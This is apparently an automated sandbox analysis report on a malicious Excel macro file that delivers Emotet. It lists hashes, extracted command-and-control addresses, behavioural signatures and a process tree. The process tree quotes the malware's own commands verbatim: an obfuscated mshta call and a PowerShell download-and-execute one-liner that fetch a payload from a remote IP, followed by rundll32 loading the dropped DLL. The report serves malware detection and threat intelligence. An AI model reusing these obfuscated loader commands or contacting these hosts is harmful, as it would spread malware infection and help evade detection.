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Analysis
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max time kernel
150s -
max time network
142s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
19/01/2022, 05:02
Behavioral task
behavioral1
Sample
d269a36950ba2005038fd496158bbcc4ccfdbacdc9eb96a4e823d973ebca9c8b.xlsm
Resource
win10-en-20211208
General
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Target
d269a36950ba2005038fd496158bbcc4ccfdbacdc9eb96a4e823d973ebca9c8b.xlsm
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Size
112KB
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MD5
053f14a5b426e59114e1d03032de2c84
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SHA1
06a9f5543017c46a7a89abbc3c8a3add7f8fa3f3
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SHA256
d269a36950ba2005038fd496158bbcc4ccfdbacdc9eb96a4e823d973ebca9c8b
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SHA512
e04eb2bb27f8d9f6a9949a7d8e1f60f7685d2166fc5e0510297126b16973579d8cc9ef7654a0fc6e34e5036f15edae8c8b009360876ae868d9e5a08eab906452
Malware Config
Extracted
http://92.255.57.195/ru/ru.html
Extracted
http://92.255.57.195/ru/ru.png
Extracted
emotet
Epoch5
45.138.98.34:80
69.16.218.101:8080
51.210.242.234:8080
185.148.168.220:8080
142.4.219.173:8080
54.38.242.185:443
191.252.103.16:80
104.131.62.48:8080
62.171.178.147:8080
217.182.143.207:443
168.197.250.14:80
37.44.244.177:8080
66.42.57.149:443
210.57.209.142:8080
159.69.237.188:443
116.124.128.206:8080
128.199.192.135:8080
195.154.146.35:443
185.148.168.15:8080
195.77.239.39:8080
207.148.81.119:8080
85.214.67.203:8080
190.90.233.66:443
78.46.73.125:443
78.47.204.80:443
37.59.209.141:8080
54.37.228.122:443
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1676 3840 cmd.exe 68 -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 5 IoCs
flow pid Process 29 3056 mshta.exe 35 1176 powershell.exe 37 1176 powershell.exe 45 1448 rundll32.exe 46 1448 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
pid Process 1480 rundll32.exe 1656 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Gxyncjgkt\ebftkexzsokzu.yxd rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 3460 3056 WerFault.exe 74 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3840 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 1176 powershell.exe 1176 powershell.exe 3460 WerFault.exe 3460 WerFault.exe 3460 WerFault.exe 3460 WerFault.exe 3460 WerFault.exe 3460 WerFault.exe 3460 WerFault.exe 3460 WerFault.exe 3460 WerFault.exe 3460 WerFault.exe 3460 WerFault.exe 3460 WerFault.exe 3460 WerFault.exe 3460 WerFault.exe 1176 powershell.exe 1448 rundll32.exe 1448 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1176 powershell.exe Token: SeDebugPrivilege 3460 WerFault.exe -
Suspicious use of SetWindowsHookEx 20 IoCs
pid Process 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE 3840 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3840 wrote to memory of 1676 3840 EXCEL.EXE 72 PID 3840 wrote to memory of 1676 3840 EXCEL.EXE 72 PID 1676 wrote to memory of 3056 1676 cmd.exe 74 PID 1676 wrote to memory of 3056 1676 cmd.exe 74 PID 3056 wrote to memory of 1176 3056 mshta.exe 76 PID 3056 wrote to memory of 1176 3056 mshta.exe 76 PID 1176 wrote to memory of 3908 1176 powershell.exe 79 PID 1176 wrote to memory of 3908 1176 powershell.exe 79 PID 3908 wrote to memory of 1480 3908 cmd.exe 80 PID 3908 wrote to memory of 1480 3908 cmd.exe 80 PID 3908 wrote to memory of 1480 3908 cmd.exe 80 PID 1480 wrote to memory of 1656 1480 rundll32.exe 81 PID 1480 wrote to memory of 1656 1480 rundll32.exe 81 PID 1480 wrote to memory of 1656 1480 rundll32.exe 81 PID 1656 wrote to memory of 3068 1656 rundll32.exe 82 PID 1656 wrote to memory of 3068 1656 rundll32.exe 82 PID 1656 wrote to memory of 3068 1656 rundll32.exe 82 PID 3068 wrote to memory of 1448 3068 rundll32.exe 83 PID 3068 wrote to memory of 1448 3068 rundll32.exe 83 PID 3068 wrote to memory of 1448 3068 rundll32.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d269a36950ba2005038fd496158bbcc4ccfdbacdc9eb96a4e823d973ebca9c8b.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3840 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\system32\mshta.exemshta http://92.255.57.195/ru/ru.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/ru/ru.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1176 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gxyncjgkt\ebftkexzsokzu.yxd",tVsRXzpbkAOLwLd8⤵
- Suspicious use of WriteProcessMemory
PID:3068 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Gxyncjgkt\ebftkexzsokzu.yxd",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1448
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3056 -s 16564⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3460
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